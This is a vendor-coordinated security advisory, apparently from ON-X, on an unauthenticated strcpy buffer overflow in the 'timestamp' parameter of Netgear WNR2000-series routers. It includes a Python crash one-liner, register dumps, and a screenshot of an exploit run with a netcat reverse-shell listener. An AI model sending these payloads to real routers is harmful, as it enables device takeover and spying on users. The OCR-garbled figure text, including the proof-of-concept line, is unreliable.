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1. SUMMARY

1.1. CONTEXT

The WNR2000V5 is a SOHO router from Netgear. A web-based administration allows users to easily
configure most of the router’s parameters.

1.2. PRODUCTS AND FIRMWARES AFFECTED

Affected devices:
o Netgear WNR2000v5
e Netgear WNR2000v4
e Netgear WNR2000v3
e R2000

Affected firmware versions:
e V1.0.0.34
e Potentially versions prior to 1.0.0.34, but tests have not been conducted on these ones.

1.3. DESCRIPTION

A vulnerable parameter in the web administration allows attackers to inject and execute arbitrary
code without authentication.

1.4. IMPACT

By default, the web administration can only be accessed from the local network, which limits the
impact. But a user could change the router’s corresponding parameter and make it accessible from
the WAN.

If an attacker has access to the router web administration, he can take full control of the vulnerable
device in a fast and reliable way. A successful exploitation could allow modification and monitoring
of the traffic passing through the router. Users of the vulnerable routers could be spied on or have
their credentials stolen, etc.

At the end of 2016, according to Shodan, there were more than 10.000 devices vulnerable directly
accessible from the Internet. The number of devices only accessible from LAN is unknown.

1.5. MITIGATIONS

Update the router to the newest firmware version (1.0.0.42 as of March 2017).
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1.6. DISCLOSURE TIMELINE

16/12/2016 First contact with the Netgear Security Team.
23/12/2016 Acknowledgement from Netgear.

06/04/2017 Security advisory sent to Netgear for review.
14/04/2017 Security advisory reviewed by Netgear.
23/05/2017 Security advisory released.
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2. TECHNICAL DETAILS

2.1. VULNERABILITY DETAILS

&« C { | ® 192.168.42.1 -;.|x=.h.t-'u.-:;;iI;Z-ZZ:n*e.-'ta*'.:: 234567890

Arccess to this resource is denied, your client has not supplied the correct authentication.

Figure 1 - The "timestamp" parameter

These routers let users access certain pages without authentication, such as unauth.cgi. One of the
GET parameters processed by these pages, timestamp, allows unauthenticated users to exploit a
buffer overflow to then execute arbitrary code on the device remotely.
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Figure 2 - Use of strcpy for the "timestamp" parameter

loc_408BBA:

$uB, timestamp
loc_L4B8108
$zero, (timestamp - 0xu4B3870)(5v0)

This parameter is copied into the BSS segment with the function strcpy without any check on its size.
It is thus possible to overwrite the addresses in the .got segment to redirect the execution of the
process. Every process runs as root, therefore no privilege escalation is required to take full control
of the router.

2.2. PROOF OF CONCEPT

The following Python command can be used to trigger the buffer overflow:
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python -c "print \

'"GET /unauth.cgi%2@timestamp="' + 'A'*6700 + \
"\r\nHost: 192.168.0.1\r\n\r\n""

O Warning et

2 414140: got SIGSEGY signal (Segmentation fault) (exc.code b, tid -3)

Figure 3 - Crash of the web server caused by a segmentation fault

MEMORY = 4141 413D HEHORY : BAAA0OAE

MEMORY = 4141413 MEMORY :#FFFFFFF
REHODU - LA LA L A2 HEMORY : 0880008

HEMORY - 88866820
MEMORY 1 41414141 MEMORY - 09000008
MEHORY 41414142 _space HMEMORY : 06000008
METTORT - H TR TH 103 -Spdie HEMORY - 414141241
MEHORY 41414144 _space HEMORY : 0BABRA0A
MEMORY - 41414145 .space HEHORY : aaBA0OAA
MEHORY 41414146 .space HEMORY : 76780548

Figure 4 - State of the registers at the moment of the segmentation fault

Code execution is indeed possible, but the sources for the proof of concept will not be disclosed
by ON-X.

:~# python exploit.py 192.168.42.1 80 192.168.42.2 4242
Payload generated.
Sending payload.

Payload

~# nc -1 -p 4242

VmSize Stat Command
372 S init

SW< [kthreadd]

SW< [ksoftirqd/0]

SW< [events/0]

SW< [khelper]

SW< [async/mgr]

SW< [kblockd/0]

SW [pdflush]

SW [pdflush]

SW< [kswapdQ]

SW< [aio/0]

SW< [mtdblockd]
klogd
/sbin/hotplug2 --override --persistent --set-worker /
/bin/datalib
syslogd -m @ -T GMT-0 -c 127
udhcpd /tmp/udhcpd.conf

Figuré 5 - Remote code execution
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